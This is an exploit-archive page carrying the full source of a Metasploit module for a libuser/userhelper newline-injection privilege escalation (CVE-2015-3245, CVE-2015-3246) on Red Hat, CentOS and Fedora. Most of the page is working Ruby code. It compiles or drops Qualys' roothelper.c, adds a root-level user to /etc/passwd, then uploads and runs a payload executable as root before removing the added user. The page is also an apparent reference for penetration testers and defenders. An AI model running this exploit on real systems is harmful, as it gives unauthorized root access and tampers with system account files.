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Libuser roothelper Privilege Escalation

Libuser roothelper Privilege Escalation
Posted May 13, 2018
Authored by Brendan Coles, Qualys Security Advisory | Site metasploit.com

This Metasploit module attempts to gain root privileges on Red Hat based Linux systems, including RHEL, Fedora and CentOS, by exploiting a newline injection vulnerability in libuser and userhelper versions prior to 0.56.13-8 and version 0.60 before 0.60-7. This Metasploit module makes use of the roothelper.c exploit from Qualys to insert a new user with UID=0 in /etc/passwd. Note, the password for the current user is required by userhelper. Note, on some systems, such as Fedora 11, the user entry for the current user in /etc/passwd will become corrupted and exploitation will fail. This Metasploit module has been tested successfully on libuser packaged versions 0.56.13-4.el6 on CentOS 6.0 (x86_64); 0.56.13-5.el6 on CentOS 6.5 (x86_64); 0.60-5.el7 on CentOS 7.1-1503 (x86_64); 0.56.16-1.fc13 on Fedora 13 (i686); 0.59-1.fc19 on Fedora Desktop 19 (x86_64); 0.60-3.fc20 on Fedora Desktop 20 (x86_64); 0.60-6.fc21 on Fedora Desktop 21 (x86_64); 0.60-6.fc22 on Fedora Desktop 22 (x86_64); 0.56.13-5.el6 on Red Hat 6.6 (x86_64); and 0.60-5.el7 on Red Hat 7.0 (x86_64). RHEL 5 is vulnerable, however the installed version of glibc (2.5) is missing various functions required by roothelper.c.

tags | exploit, root
systems | linux, redhat, fedora, centos
advisories | CVE-2015-3245, CVE-2015-3246
MD5 | 29f14e9f5067bd0c43af11f1008beb02

Libuser roothelper Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Libuser roothelper Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on Red Hat based Linux
systems, including RHEL, Fedora and CentOS, by exploiting a newline
injection vulnerability in libuser and userhelper versions prior to
0.56.13-8 and version 0.60 before 0.60-7.

This module makes use of the roothelper.c exploit from Qualys to
insert a new user with UID=0 in /etc/passwd.

Note, the password for the current user is required by userhelper.

Note, on some systems, such as Fedora 11, the user entry for the
current user in /etc/passwd will become corrupted and exploitation
will fail.

This module has been tested successfully on libuser packaged versions
0.56.13-4.el6 on CentOS 6.0 (x86_64);
0.56.13-5.el6 on CentOS 6.5 (x86_64);
0.60-5.el7 on CentOS 7.1-1503 (x86_64);
0.56.16-1.fc13 on Fedora 13 (i686);
0.59-1.fc19 on Fedora Desktop 19 (x86_64);
0.60-3.fc20 on Fedora Desktop 20 (x86_64);
0.60-6.fc21 on Fedora Desktop 21 (x86_64);
0.60-6.fc22 on Fedora Desktop 22 (x86_64);
0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
0.60-5.el7 on Red Hat 7.0 (x86_64).

RHEL 5 is vulnerable, however the installed version of glibc (2.5)
is missing various functions required by roothelper.c.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys', # Discovery and C exploit
'Brendan Coles' # Metasploit
],
'DisclosureDate' => 'Jul 24 2015',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'AKA', 'roothelper.c' ],
[ 'EDB', '37706' ],
[ 'CVE', '2015-3245' ],
[ 'CVE', '2015-3246' ],
[ 'BID', '76021' ],
[ 'BID', '76022' ],
[ 'URL', 'http://seclists.org/oss-sec/2015/q3/185' ],
[ 'URL', 'https://access.redhat.com/articles/1537873' ]
],
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('PASSWORD', [ true, 'Password for the current user', '' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def password
datastore['PASSWORD'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end

def live_compile?
compile = false

if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
compile = true
else
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
end

compile
end

def check
userhelper_path = '/usr/sbin/userhelper'
unless setuid? userhelper_path
vprint_error "#{userhelper_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{userhelper_path} is setuid"

unless command_exists? 'script'
vprint_error "script is not installed. Exploitation will fail."
return CheckCode::Safe
end
vprint_good 'script is installed'

if cmd_exec('lsattr /etc/passwd').include? 'i'
vprint_error 'File /etc/passwd is immutable'
return CheckCode::Safe
end
vprint_good 'File /etc/passwd is not immutable'

glibc_banner = cmd_exec 'ldd --version'
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
if glibc_version.to_s.eql? ''
vprint_error 'Could not determine the GNU C library version'
return CheckCode::Detected
end

# roothelper.c requires functions only available since glibc 2.6+
if glibc_version < Gem::Version.new('2.6')
vprint_error "GNU C Library version #{glibc_version} is not supported"
return CheckCode::Safe
end
vprint_good "GNU C Library version #{glibc_version} is supported"

CheckCode::Detected
end

def exploit
if check == CheckCode::Safe
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end

if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end

unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"

if live_compile?
vprint_status 'Live compiling exploit on system...'

# Upload Qualys' roothelper.c exploit:
# - https://www.exploit-db.com/exploits/37706/
path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c'
fd = ::File.open path, 'rb'
c_code = fd.read fd.stat.size
fd.close
upload "#{executable_path}.c", c_code
output = cmd_exec "gcc -o #{executable_path} #{executable_path}.c"

unless output.blank?
print_error output
fail_with Failure::Unknown, "#{executable_path}.c failed to compile"
end

cmd_exec "chmod +x #{executable_path}"
register_file_for_cleanup executable_path
else
vprint_status 'Dropping pre-compiled exploit on system...'

# Cross-compiled with:
# - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c
path = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper'
fd = ::File.open path, 'rb'
executable_data = fd.read fd.stat.size
fd.close
upload_and_chmodx executable_path, executable_data
end

# Run roothelper
timeout = 180
print_status "Launching roothelper exploit (Timeout: #{timeout})..."
output = cmd_exec "echo #{password.gsub(/'/, "\\\\'")} | #{executable_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }

if output =~ %r{Creating a backup copy of "/etc/passwd" named "(.*)"}
register_file_for_cleanup $1
end

if output =~ /died in parent: .*.c:517: forkstop_userhelper/
fail_with Failure::NoAccess, 'Incorrect password'
end

@username = nil

if output =~ /Exploit successful, run "su ([a-z])" to become root/
@username = $1
end

if @username.blank?
fail_with Failure::Unknown, 'Something went wrong'
end

print_good "Success! User '#{@username}' added to /etc/passwd"

# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe

# Execute payload executable
vprint_status 'Executing payload...'
cmd_exec "script -c \"su - #{@username} -c #{payload_path}\" | sh & echo "
register_file_for_cleanup 'typescript'
end

#
# Remove new user from /etc/passwd
#
def on_new_session(session)
new_user_removed = false

if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'

# Remove new user
session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\""

# Wait for clean up
Rex.sleep 5

# Check for new user in /etc/passwd
passwd_contents = session.fs.file.open('/etc/passwd').read.to_s
unless passwd_contents =~ /^#{@username}:/
new_user_removed = true
end
elsif session.type.to_s.eql? 'shell'
# Remove new user
session.shell_command_token "sed -i 's/^#{@username}:.*$//g' /etc/passwd"

# Check for new user in /etc/passwd
passwd_user = session.shell_command_token "grep '#{@username}:' /etc/passwd"
unless passwd_user =~ /^#{@username}:/
new_user_removed = true
end
end

unless new_user_removed
print_warning "Could not remove user '#{@username}' from /etc/passwd"
end
rescue => e
print_error "Error during cleanup: #{e.message}"
ensure
super
end
end

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